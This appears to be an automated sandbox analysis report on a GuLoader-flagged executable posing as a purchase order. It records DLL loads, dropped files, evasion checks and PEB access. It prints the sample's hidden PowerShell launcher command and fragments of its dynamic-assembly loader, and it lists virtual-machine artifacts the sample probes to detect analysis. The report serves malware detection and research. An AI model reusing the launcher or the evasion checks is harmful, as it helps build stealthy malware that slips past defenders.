Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: msi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: PO Tournefortian2453525525235235623425523235.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.76790599173.0000000008BA9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.76790599173.0000000008B92000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mshtml.pdb source: Sammentrykket.exe, 00000004.00000001.76671061814.0000000000649000.00000020.00000001.01000000.00000008.sdmp
Source: Binary string: wntdll.pdbUGP source: Sammentrykket.exe, 00000004.00000002.77599512264.0000000020A1D000.00000040.00001000.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77133628191.00000000205A0000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000002.77599512264.00000000208F0000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: Sammentrykket.exe, Sammentrykket.exe, 00000004.00000002.77599512264.0000000020A1D000.00000040.00001000.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77133628191.00000000205A0000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000002.77599512264.00000000208F0000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: m.Core.pdb0 source: powershell.exe, 00000002.00000002.76790599173.0000000008BA9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mshtml.pdbUGP source: Sammentrykket.exe, 00000004.00000001.76671061814.0000000000649000.00000020.00000001.01000000.00000008.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000002.00000002.76780432500.000000000321D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdb316567-2969588382-3778222414-1001_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32z source: powershell.exe, 00000002.00000002.76790599173.0000000008BA9000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000004.00000002.77583228848.000000000360D000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.76792434686.000000000AF9D000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Found suspicious powershell code related to unpacking or dynamic code loading
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: GetDelegateForFunctionPointer((Folkebaades $Statsraadssekretrens174 $Koruna), (talehandlinger @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Rundstykkernes = [AppDomain]::CurrentDomain.
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Rebolt226)), $Extensometres).DefineDynamicModule($Elsk, $false).DefineType($Bssemagers61, $Unstigmatised, [System.MulticastDelegate])$
Suspicious powershell command line found
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Typograferer=Get-Content 'C:\Users\user\AppData\Local\efterplaprernes\Shakya\memorized\Heptandrous.Arr';$Anskueliggjordes=$Typograferer.SubString(51945,3);.$Anskueliggjordes($Typograferer)"
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Typograferer=Get-Content 'C:\Users\user\AppData\Local\efterplaprernes\Shakya\memorized\Heptandrous.Arr';$Anskueliggjordes=$Typograferer.SubString(51945,3);.$Anskueliggjordes($Typograferer)" Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_033C9367 push eax; ret 2_2_033C9381
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_033C31BD push eax; retf 2_2_033C31E1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_07A79B2F pushad ; ret 2_2_07A79B39
Drops PE files
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Jump to dropped file
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Switches to a custom stack to bypass stack traces
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe API/Special instruction interceptor: Address: 39C4C82
Tries to detect Any.run
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: powershell.exe, 00000002.00000002.76790599173.0000000008BA9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXES9A
Source: powershell.exe, 00000002.00000002.76787212994.0000000007190000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 9884 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Window / User API: threadDelayed 2449 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe API coverage: 2.4 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe TID: 7432 Thread sleep count: 2449 > 30 Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Last function: Thread delayed
Sleep loop found (likely to delay execution)
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Thread sleep count: Count: 2449 delay: -5 Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Code function: 0_2_00406850 FindFirstFileW,FindClose, 0_2_00406850
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Code function: 0_2_00405C26 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 0_2_00405C26
Source: powershell.exe, 00000002.00000002.76843108472.000000000C0C9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Guest Shutdown Service
Source: powershell.exe, 00000002.00000002.76843108472.000000000C0C9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: powershell.exe, 00000002.00000002.76843108472.000000000C0C9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicshutdown
Source: powershell.exe, 00000002.00000002.76790599173.0000000008BA9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exes9a
Source: powershell.exe, 00000002.00000002.76843108472.000000000C0C9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 00000002.00000002.76843108472.000000000C0C9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000002.00000002.76843108472.000000000C0C9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Time Synchronization Service
Source: powershell.exe, 00000002.00000002.76843108472.000000000C0C9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicvss
Source: Sammentrykket.exe, 00000004.00000002.77592666966.00000000048C7000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77040018762.00000000048C7000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77136726603.0000000004890000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000002.77592580545.0000000004891000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77135363971.00000000048C7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000002.00000002.76787212994.0000000007190000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: powershell.exe, 00000002.00000002.76843108472.000000000C0C9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Data Exchange Service
Source: powershell.exe, 00000002.00000002.76843108472.000000000C0C9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Heartbeat Service
Source: powershell.exe, 00000002.00000002.76843108472.000000000C0C9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Guest Service Interface
Source: powershell.exe, 00000002.00000002.76843108472.000000000C0C9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicheartbeat
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_032BD51C LdrInitializeThunk,LdrInitializeThunk, 2_2_032BD51C
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091C090 mov eax, dword ptr fs:[00000030h] 4_2_2091C090
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091A093 mov ecx, dword ptr fs:[00000030h] 4_2_2091A093
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F4080 mov eax, dword ptr fs:[00000030h] 4_2_209F4080
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F4080 mov eax, dword ptr fs:[00000030h] 4_2_209F4080
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F4080 mov eax, dword ptr fs:[00000030h] 4_2_209F4080
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F4080 mov eax, dword ptr fs:[00000030h] 4_2_209F4080
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F4080 mov eax, dword ptr fs:[00000030h] 4_2_209F4080
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F4080 mov eax, dword ptr fs:[00000030h] 4_2_209F4080
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F4080 mov eax, dword ptr fs:[00000030h] 4_2_209F4080
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F50B7 mov eax, dword ptr fs:[00000030h] 4_2_209F50B7
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209DB0AF mov eax, dword ptr fs:[00000030h] 4_2_209DB0AF
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209600A5 mov eax, dword ptr fs:[00000030h] 4_2_209600A5
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209CF0A5 mov eax, dword ptr fs:[00000030h] 4_2_209CF0A5
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209CF0A5 mov eax, dword ptr fs:[00000030h] 4_2_209CF0A5
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209CF0A5 mov eax, dword ptr fs:[00000030h] 4_2_209CF0A5
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209CF0A5 mov eax, dword ptr fs:[00000030h] 4_2_209CF0A5
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209CF0A5 mov eax, dword ptr fs:[00000030h] 4_2_209CF0A5
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209CF0A5 mov eax, dword ptr fs:[00000030h] 4_2_209CF0A5
